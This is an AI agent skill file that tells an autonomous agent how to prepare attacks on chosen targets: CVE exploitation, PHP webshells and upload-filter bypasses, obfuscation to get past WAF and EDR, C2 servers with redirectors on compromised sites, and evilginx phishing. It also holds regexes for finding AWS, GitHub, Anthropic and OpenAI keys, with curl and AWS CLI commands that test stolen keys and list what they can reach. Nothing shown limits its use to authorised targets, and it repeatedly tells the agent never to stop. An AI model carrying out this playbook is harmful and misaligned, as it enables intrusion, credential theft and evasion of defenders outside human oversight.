Imported from HazaVVIP/Fable5 (
.claude/skills/fable-5/skill-resource-dev/SKILL.md). Install upstream withnpx skills add HazaVVIP/Fable5 --skill skill-resource-dev. Copyright stays with the author.
Resource Development — Payload Preparation and Infrastructure
Objective
Prepare payloads, tools, and infrastructure matched to the target profile identified during reconnaissance. Run systematic CVE research through the 5-step pipeline, craft exploit payloads with layered evasion techniques, deploy C2 infrastructure with redirectors, and prepare delivery mechanisms for initial access.
PRIMARY OBJECTIVES Alignment:
- Every payload must have a documented chain to ROOT/RCE/DATA BREACH/ACCOUNT TAKEOVER
- A payload without a chain to PRIMARY OBJECTIVE is dead code that wastes time and risks detection
- Focus research on exploits that enable PRIMARY OBJECTIVES, not just "any exploit"
Decision Hierarchy
- CVE identified during recon? Run through the CVE Research Pipeline immediately — Priority 1 CVEs first.
- Direct exploit available? Craft payload, test for
uid=, save raw evidence artifact. - File upload available? Prepare webshell variants with bypass techniques for target's upload validation.
- Credentials available? Prepare authenticated attack chain — no payload needed, authenticate and pivot.
- No viable vector? Return to reconnaissance for deeper analysis. Never stop here. The operator always produces a next route.
CVE Prioritization Matrix
| Priority | Criteria | Development Time | Action |
|---|---|---|---|
| 1 (exploit first) | Pre-auth RCE, CVSS >= 9.0, public PoC available, recent (<1 year) | 15-30 min | Immediate exploit development and testing |
| 2 | Post-auth RCE, CVSS 7.0-8.9, PoC exists but needs adaptation | 30-60 min | Develop with auth-bypass chain or info-disclosure pivot |
| 3 (exploit last) | Requires user interaction, CVSS 4.0-6.9, no public PoC | 60+ min | Last resort only — develop if no other path exists |
Always exploit Priority 1 first. Never skip to Priority 3 when Priority 1 CVEs remain untested. Priority 3 CVEs are acceptable only after exhausting Priority 1 and 2 options.
Steps Overview
Step 1: CVE Research Pipeline
When reconnaissance identifies technology versions, run the 5-step CVE pipeline. This is mandatory — version identification without CVE research is wasted reconnaissance.
- Check Arsenal — search local exploit cache before external research. If a valid exploit exists, reuse it with verification. Do not reinvent.
- Research Phase — parallel queries across NVD API (CVSS scores, affected versions), Exploit-DB (PoC availability), GitHub (open source exploits), Rapid7/AttackerKB (technical analysis), and blog writeups (real-world exploitation guides).
- Analysis Phase — classify root cause (injection, overflow, logic flaw, deserialization, file operation), attack vector (HTTP, file, network, auth required), and prerequisites (version range, specific configuration, WAF presence).
- Development Phase — write or adapt PoC exploit, customize for target parameters and encoding, test for RCE (
uid=in output required for acceptance), prepare delivery script. - Arsenal Update — save exploit to
campaigns/{target}/resource-development/exploits/{cve-id}/with metadata (CVE ID, CVSS score, affected tech, source URL, status, tested_at timestamp).
Full pipeline details: references/cve-pipeline.md
Step 2: Payload Selection
Match payload type to the target profile from reconnaissance data:
CMS target (WordPress, Joomla, Drupal, etc.):
- CMS-specific exploit payload (WordPress plugin/theme vulnerability, Joomla component RCE)
- File upload webshell (WordPress media uploader bypass, admin theme upload)
- Plugin/theme vulnerability exploit (outdated components with known CVEs)
Framework target (Laravel, Spring, Django, .NET, etc.):
- Deserialization payload (PHP unserialize, Java ROP, .NET TypeConfuseDelegate)
- Template injection (SSTI — Jinja2, Twig, Freemarker, Smarty)
- SQL injection to OS shell (sqlmap with
--os-shellflag)
Custom application target:
- Source code analysis payload (if git exposed, audit for hardcoded secrets and API keys)
- API abuse payload (REST/GraphQL endpoints, broken authentication, IDOR)
- Business logic exploit (privilege escalation via parameter manipulation, workflow bypass)
Credential available (from recon Step 5):
- No payload needed for initial access — authenticate directly and pivot
- Post-auth file upload to webshell (after gaining dashboard access)
- Post-auth settings change for persistence (modify configuration for backdoor)
CVE identified (from Step 1):
- Use CVE-specific exploit from research pipeline
- Adapt payload for target configuration (encoding, WAF bypass, parameter names)
- Chain with other capabilities if possible (CVE + credential = higher reliability)
Step 3: Payload Crafting
Prepare webshell variants and delivery payloads tailored to the target technology stack.
PHP webshells (basic to obfuscated):
# Basic command execution
echo '<?php system($_GET["cmd"]); ?>' > shell.php
# Obfuscated eval with base64
echo '<?php eval(base64_decode($_POST["data"])); ?>' > shell_encoded.php
# Variable function call (avoids simple signature matching)
echo '<?php $a="sys"."tem"; $a($_GET["cmd"]); ?>' > shell_var.php
File upload bypass techniques:
- Null byte injection:
shell.php%00.jpg— truncates at null on older PHP - Double extension:
shell.php.jpg— Apache executes first recognized extension - MIME type spoofing: send
Content-Type: image/jpegwith PHP content - .htaccess upload:
AddType application/x-httpd-php .jpg— makes .jpg execute as PHP - Case variation:
shell.pHp,shell.PhP— bypasses case-sensitive filters
Full crafting reference with polyglot payloads, ASP.NET shells, Python payloads, and multi-layer evasion: references/payload-crafting.md
Step 4: Evasion Preparation
Prepare payload obfuscation to bypass WAF, AV, and EDR controls. Use a layered evasion approach — start with the simplest technique and escalate.
PHP evasion ladder (escalating complexity):
- Base64 encoding —
eval(base64_decode("...")) - String concatenation —
"sys"."tem" - Variable variables —
$fn = "system"; $fn(...) - Hex encoding —
eval(hex2decode("73797374656d...")) - ROT13 —
eval(str_rot13("flfgnzr..."))
ASP.NET evasion:
- ViewState manipulation — inject payload in serialized state
- web.config shell deployment — upload config that enables code execution
Python evasion:
- marshal + compile — obfuscated bytecode execution
- base64 + exec — encoded payload execution
EDR bypass (for post-exploitation):
- ScareCrow — EDR bypass payload generation with multiple techniques
- Freeze — suspended process injection to evade memory scanning
- Donut — in-memory .NET execution without disk drop
Step 5: Infrastructure Setup
Deploy C2 framework and redirector infrastructure for reliable, evasive command channels.
C2 Framework Selection:
- Primary: Sliver (Go-based, mTLS/WireGuard/HTTP/DNS transports) — fast, reliable, cross-platform, open source
- Alternative: Mythic (Docker-based, modular agents) — flexible agent architecture, multiple agent types
- Evasion-focused: Havoc (sleep obfuscation, indirect syscalls) — strong AV/EDR evasion capabilities
- Commercial: Brute Ratel (DoH, AMSI/ETW bypass) — advanced evasion, paid license required
Redirector Setup:
- Domain fronting via CloudFlare or AWS CloudFront — hides true C2 destination
- Compromised legitimate sites as proxy — blends with normal traffic
- CDN-based redirectors — additional traffic obfuscation layer
Test C2 callback before proceeding to initial-access. Confirm agent session established and basic command execution works.
Step 6: Delivery Mechanism Preparation
Based on reconnaissance intelligence, prepare the specific delivery path for initial access:
Phishing viable (employee emails discovered, login portal identified):
- Craft phishing email with embedded payload or credential harvesting link
- Setup evilginx2 for Adversary-in-the-Middle (AitM) phishing — captures session tokens
- Prepare credential harvesting page cloning target's actual login portal
Direct exploit viable (CVE identified, endpoint accessible):
- Prepare exploit code for identified CVE with target-specific parameters
- Test against similar target or lab environment first
- Prepare automated delivery script with retry logic and error handling
File upload available (upload endpoint discovered, validation bypassed):
- Prepare webshell variants matching target's allowed upload types
- Test bypass techniques against target's specific upload validation
- Prepare upload automation script with content-type spoofing
Secret Pattern Catalog
Full 48 patterns:
references/playbook.mdsection 2.7
Critical Patterns (Exploit First)
| Name | Regex | Category |
|---|---|---|
| AWS Access Key | \b(AKIA|ASIA)[0-9A-Z]{16}\b |
aws |
| AWS Secret | (?i)aws[_\-]?secret[_\-]?access[_\-]?key['"\s:=]+([A-Za-z0-9/+=]{40}) |
aws |
| GitHub PAT | \bghp_[A-Za-z0-9]{36}\b |
github |
| Anthropic Key | \bsk-ant-(?:api03|admin01)-[A-Za-z0-9_\-]{93,}\b |
ai_api |
| OpenAI Key | \bsk-proj-[A-Za-z0-9_\-]{40,}T3BlbkFJ[A-Za-z0-9_\-]{40,}\b |
ai_api |
| Private Key | -----BEGIN (RSA |EC |OPENSSH )?PRIVATE KEY----- |
private_key |
Read-Only Validators
Never destructive. Tag
detectability+checked_aton every validation.
# AWS (MEDIUM detectability - CloudTrail logs)
aws sts get-caller-identity
# GitHub (LOW detectability)
curl -sk -H "Authorization: token ghp_..." https://api.github.com/user
# Anthropic (LOW detectability)
curl -sk "https://api.anthropic.com/v1/models" \
-H "x-api-key: sk-ant-..." -H "anthropic-version: 2023-06-01"
# OpenAI (LOW detectability)
curl -sk "https://api.openai.com/v1/models" -H "Authorization: Bearer sk-..."
Post-Discovery Enumeration (Live Key Found)
# AWS - enumerate scope
aws iam get-user
aws s3 ls
aws secretsmanager list-secrets
# GitHub - enumerate repos
curl -sk -H "Authorization: token $TOKEN" \
"https://api.github.com/user/repos?per_page=100"
Tooling Quick-Install
# Secret scanning
go install github.com/trufflesecurity/trufflehog@latest
go install github.com/zricethezav/gitleaks/v8@latest
# Vulnerability scanning
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
nuclei -ut
Exit Criteria
- CVE research completed for all identified technologies in
fingerprint.json - Exploits crafted and tested (
uid=in output = accepted, anything else = not accepted, retry) - Payloads prepared with at least one evasion technique documented
- C2 infrastructure deployed and callback confirmed (agent session active)
- Delivery mechanism prepared and documented with target-specific parameters
- Every payload has a documented chain to RCE (no dead payloads)
- Phase summary written to
campaigns/{target}/resource-development/summary.md
Output Files
| File | Location | Content |
|---|---|---|
| summary.md | campaigns/{target}/resource-development/summary.md |
Phase summary |
| state.json | campaigns/{target}/resource-development/state.json |
Phase results |
| exploits/ | campaigns/{target}/resource-development/exploits/ |
Crafted exploits with metadata |
| payloads/ | campaigns/{target}/resource-development/payloads/ |
Prepared payloads with bypass notes |
| c2-config.json | campaigns/{target}/resource-development/c2-config.json |
C2 configuration (transport, domain, port) |
Next Phase
Route to skill-initial-access — payload delivery, first access. Update campaigns/{target}/state.json to set current_phase to initial-access. The initial access phase consumes the exploits, payloads, C2 configuration, and delivery mechanisms produced here. Every artifact must be ready for immediate deployment.
Behavioral References
Apply these behavioral rules throughout resource development:
- Capability-chain thinking (
memory/capability-chain-thinking.md) — Every exploit must map to a chain: CVE -> exploit -> delivery -> RCE. A payload without a documented chain is dead code. Three questions: What does this payload enable? What chain does it unlock? What is the terminal impact? - Evidence-based validation (
memory/evidence-based.md) — Test every exploit against the target or lab environment.uid=in output = accepted. HTTP 200 without uid = not accepted. Save raw command output, HTTP response headers and body, and session tokens as evidence artifacts. - No-hardened mindset (
memory/no-hardened-mindset.md) — If a payload fails or C2 channel is blocked, classify the blocker immediately (BLOCKED_TEMP for payload detection, BLOCKED_PHASE for no viable vector, BLOCKED_SCOPE for infrastructure unreachable) and route to the alternative. Apply the evasion ladder. Never say "failed." The operator never stops.